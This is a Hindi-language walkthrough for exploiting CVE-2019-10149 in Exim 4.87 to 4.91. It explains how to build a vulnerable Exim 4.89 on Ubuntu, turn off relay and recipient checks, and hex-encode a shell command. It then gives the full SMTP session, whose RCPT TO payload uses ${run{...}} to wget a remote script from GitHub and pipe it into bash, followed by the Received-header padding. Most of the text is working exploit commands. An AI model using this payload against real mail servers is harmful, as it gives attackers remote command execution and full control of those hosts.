CVE-2019-10149 - Exim 4.87 < 4.91
एक कमजोर संस्करण के Exim को स्थापित करने और उसके शोषण के निर्देश
लिनक्स उबंटू 16.04, Exim 4.89 पर परीक्षण किया गया
Exim स्थापना
Exim संस्करण 4.89 डाउनलोड करें और निकालें
निकाले गए फ़ोल्डर में जाएँ
आवश्यक कॉन्फ़िग फ़ाइलों को कॉपी और संशोधित करें
-
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
-
cp exim_monitor/EDITME Local/eximon.conf
exim उपयोगकर्ता और समूह बनाएँ
निर्भरताएँ स्थापित करें
- sudo apt-get update
- sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
exim 4.89 स्थापित करें
/usr/exim/configure को संपादित करें ताकि रिलेइंग की अनुमति मिल सके (7 दिन इंतजार किए बिना शोषण करने के लिए)
- sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
- sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
- sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
exim को exim उपयोगकर्ता के रूप में चलाएँ
- sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
शोषण तैयार करना
अपने शेल कमांड को हेक्स में बदलें। उदाहरण:
उदाहरण के लिए तालिका:
- \t-c\ = -c
- \t= space
- x20 = space
- x7C = |
- x2F = /
- x3A = :
- x2D = -
- x3E = >
- x26 = &
- x22 = "
- x2E = .
शोषण का उपयोग
पहले हम सर्वर से कनेक्शन शुरू करने के लिए nc का उपयोग करते हैं।
एक बार कनेक्ट होने पर हम HELO कहते हैं।
- helo localhost
- (उत्तर: 250 exim Hello localhost [192.168.0.168])
इसके बाद, हम प्रेषक पता खाली सेट करते हैं।
- mail from:<>
- (उत्तर: 250 OK)
फिर हम अपने पेलोड के साथ प्राप्तकर्ता पता सेट करते हैं, जहां elipsis है, वहां अपना वांछित कमांड डालकर: rcpt to:${run{...}}@localhost.
- rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
- (उत्तर: 250 Accepted)
और अंत में हम पहले DATA टाइप करते हैं, उसके बाद 31 पंक्तियाँ, एक खाली पंक्ति, और एक अवधि।
- DATA
- Received: 1
- Received: 2
- Received: 3
- Received: 4
- Received: 5
- Received: 6
- Received: 7
- Received: 8
- Received: 9
- Received: 10
- Received: 11
- Received: 12
- Received: 13
- Received: 14
- Received: 15
- Received: 16
- Received: 17
- Received: 18
- Received: 19
- Received: 20
- Received: 21
- Received: 22
- Received: 23
- Received: 24
- Received: 25
- Received: 26
- Received: 27
- Received: 28
- Received: 29
- Received: 30
- Received: 31
- .